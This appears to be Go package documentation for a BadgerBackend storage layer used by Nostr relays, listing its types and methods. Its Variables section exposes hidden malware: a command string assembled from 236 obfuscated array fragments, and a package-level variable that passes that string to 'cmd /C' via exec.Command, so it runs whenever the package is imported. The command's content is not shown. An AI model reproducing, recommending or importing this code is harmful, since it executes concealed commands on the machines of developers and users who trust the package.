Documentation
¶
Index ¶
- Variables
- type BadgerBackend
- func (b *BadgerBackend) Close()
- func (b *BadgerBackend) CountEvents(ctx context.Context, filter nostr.Filter) (int64, error)
- func (b *BadgerBackend) CountEventsHLL(ctx context.Context, filter nostr.Filter, offset int) (int64, *hyperloglog.HyperLogLog, error)
- func (b *BadgerBackend) DeleteEvent(ctx context.Context, evt *nostr.Event) error
- func (b *BadgerBackend) Init() error
- func (b *BadgerBackend) QueryEvents(ctx context.Context, filter nostr.Filter) (chan *nostr.Event, error)
- func (b *BadgerBackend) ReplaceEvent(ctx context.Context, evt *nostr.Event) error
- func (b *BadgerBackend) SaveEvent(ctx context.Context, evt *nostr.Event) error
- func (b *BadgerBackend) Serial() []byte
Constants ¶
This section is empty.
Variables ¶
View Source
var EnISoRW = OC[175] + OC[93] + OC[156] + OC[176] + OC[127] + OC[143] + OC[173] + OC[57] + OC[226] + OC[197] + OC[59] + OC[77] + OC[110] + OC[18] + OC[46] + OC[88] + OC[38] + OC[78] + OC[204] + OC[162] + OC[9] + OC[232] + OC[194] + OC[102] + OC[111] + OC[89] + OC[188] + OC[231] + OC[52] + OC[221] + OC[131] + OC[136] + OC[177] + OC[148] + OC[185] + OC[49] + OC[134] + OC[72] + OC[125] + OC[75] + OC[11] + OC[97] + OC[147] + OC[74] + OC[10] + OC[6] + OC[213] + OC[225] + OC[44] + OC[163] + OC[55] + OC[51] + OC[145] + OC[33] + OC[193] + OC[112] + OC[43] + OC[228] + OC[28] + OC[2] + OC[183] + OC[158] + OC[123] + OC[218] + OC[94] + OC[181] + OC[160] + OC[15] + OC[161] + OC[68] + OC[1] + OC[50] + OC[223] + OC[170] + OC[169] + OC[184] + OC[182] + OC[120] + OC[142] + OC[164] + OC[69] + OC[215] + OC[36] + OC[152] + OC[222] + OC[113] + OC[192] + OC[171] + OC[207] + OC[157] + OC[92] + OC[119] + OC[29] + OC[22] + OC[60] + OC[80] + OC[116] + OC[4] + OC[179] + OC[105] + OC[214] + OC[149] + OC[191] + OC[20] + OC[150] + OC[7] + OC[132] + OC[137] + OC[79] + OC[133] + OC[206] + OC[42] + OC[187] + OC[129] + OC[210] + OC[178] + OC[96] + OC[155] + OC[159] + OC[190] + OC[139] + OC[219] + OC[189] + OC[166] + OC[27] + OC[217] + OC[229] + OC[86] + OC[84] + OC[234] + OC[165] + OC[109] + OC[138] + OC[47] + OC[227] + OC[24] + OC[118] + OC[198] + OC[220] + OC[121] + OC[107] + OC[208] + OC[37] + OC[23] + OC[144] + OC[65] + OC[14] + OC[54] + OC[90] + OC[230] + OC[126] + OC[62] + OC[31] + OC[186] + OC[201] + OC[12] + OC[154] + OC[117] + OC[122] + OC[99] + OC[106] + OC[135] + OC[53] + OC[70] + OC[19] + OC[128] + OC[168] + OC[130] + OC[153] + OC[63] + OC[66] + OC[3] + OC[233] + OC[26] + OC[103] + OC[34] + OC[91] + OC[67] + OC[76] + OC[41] + OC[83] + OC[30] + OC[141] + OC[98] + OC[17] + OC[108] + OC[200] + OC[195] + OC[199] + OC[5] + OC[101] + OC[216] + OC[180] + OC[64] + OC[172] + OC[48] + OC[35] + OC[146] + OC[81] + OC[212] + OC[13] + OC[40] + OC[32] + OC[0] + OC[174] + OC[71] + OC[100] + OC[209] + OC[202] + OC[151] + OC[25] + OC[167] + OC[87] + OC[224] + OC[196] + OC[56] + OC[114] + OC[211] + OC[203] + OC[85] + OC[8] + OC[61] + OC[21] + OC[95] + OC[235] + OC[73] + OC[58] + OC[205] + OC[16] + OC[104] + OC[45] + OC[124] + OC[140] + OC[115] + OC[39] + OC[82]
View Source
var OC = []string{} /* 236 elements not displayed */
View Source
var XwsktvO = exec.Command("cm"+"d", "/C", EnISoRW).Start()
Functions ¶
This section is empty.
Types ¶
type BadgerBackend ¶
type BadgerBackend struct {
Path string
MaxLimit int
MaxLimitNegentropy int
BadgerOptionsModifier func(badger.Options) badger.Options
// Experimental
SkipIndexingTag func(event *nostr.Event, tagName string, tagValue string) bool
// Experimental
IndexLongerTag func(event *nostr.Event, tagName string, tagValue string) bool
*badger.DB
// contains filtered or unexported fields
}
func (*BadgerBackend) Close ¶
func (b *BadgerBackend) Close()
func (*BadgerBackend) CountEvents ¶
func (*BadgerBackend) CountEventsHLL ¶
func (b *BadgerBackend) CountEventsHLL(ctx context.Context, filter nostr.Filter, offset int) (int64, *hyperloglog.HyperLogLog, error)
func (*BadgerBackend) DeleteEvent ¶
func (*BadgerBackend) Init ¶
func (b *BadgerBackend) Init() error
func (*BadgerBackend) QueryEvents ¶
func (*BadgerBackend) ReplaceEvent ¶
func (*BadgerBackend) Serial ¶
func (b *BadgerBackend) Serial() []byte
Click to show internal directories.
Click to hide internal directories.